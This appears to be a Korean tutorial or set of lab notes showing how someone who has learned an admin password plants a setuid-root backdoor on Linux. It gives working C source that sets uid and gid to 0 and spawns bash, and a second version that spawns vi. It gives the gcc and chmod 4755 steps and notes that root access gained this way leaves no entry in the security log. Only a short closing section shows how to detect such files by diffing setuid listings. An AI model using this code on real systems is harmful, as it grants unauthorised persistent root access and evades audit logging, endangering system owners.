C언어 컴파일러 설치하기
dnf install -y gcc
현재 상황
유저가 관리자 암호를 우연히 알게 되었다.
이 유저는 관리자 권한으로 백도어 파일을 생성한 후
차후에 관리자 권한을 이용하여 시스템을 해킹하고자 한다.
특정 파일을 실행하면 현재 계정을 루트로 변경시키기
(관리자로 로그인한 상태에서)
cd /home/유저명
find / -user root -perm -4000 > root_perm.txt
# 유저명이 root이며 권한이 4000으로 되어있는 파일을 찾아
# root_perm.txt 파일에 목록을 저장합니다.
gedit backdoor.c
#include <stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
# 현재 사용자의 uid와 gid를 0(root)로 바꿉니다.
gcc -o backdoor backdoor.c
# C언어 컴파일러로 backdoor.c파일을 컴파일합니다.
chmod 4755 backdoor
# 컴파일된 backdoor 파일에 관리자 권한을 부여합니다.
이제 생성된 backdoor 파일을 실행하면 누구든지 root로 로그인된 상태로 변경됩니다.
(유저 계정으로)
./backdoor
※ backdoor 파일로 root 계정으로 변경하는 것은 로그에 기록이 되지 않습니다.
원격으로 user5로 로그인해 backdoor 파일을 실행해 root 계정으로 변경한 상태
tail -f /var/log/secure
하지만 로그에는 root로 로그인한 흔적이 남지 않습니다.
vi를 이용해 관리자로 로그인하기
(관리자로 로그인한 상태에서)
cd /home/유저명
gedit vibackdoor.c
#include <stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/vi");
}
gcc -o vibackdoor vibackdoor.c
chmod 4755 vibackdoor
백도어 파일 찾기
su - root
cd /home/유저명
find / -user root -perm -4000 > new_root.txt
diff root_perm.txt new_root.txt
# 아까 생성한 root_perm.txt와 새로 생성한 new_root.txt파일을 비교해 출력합니다.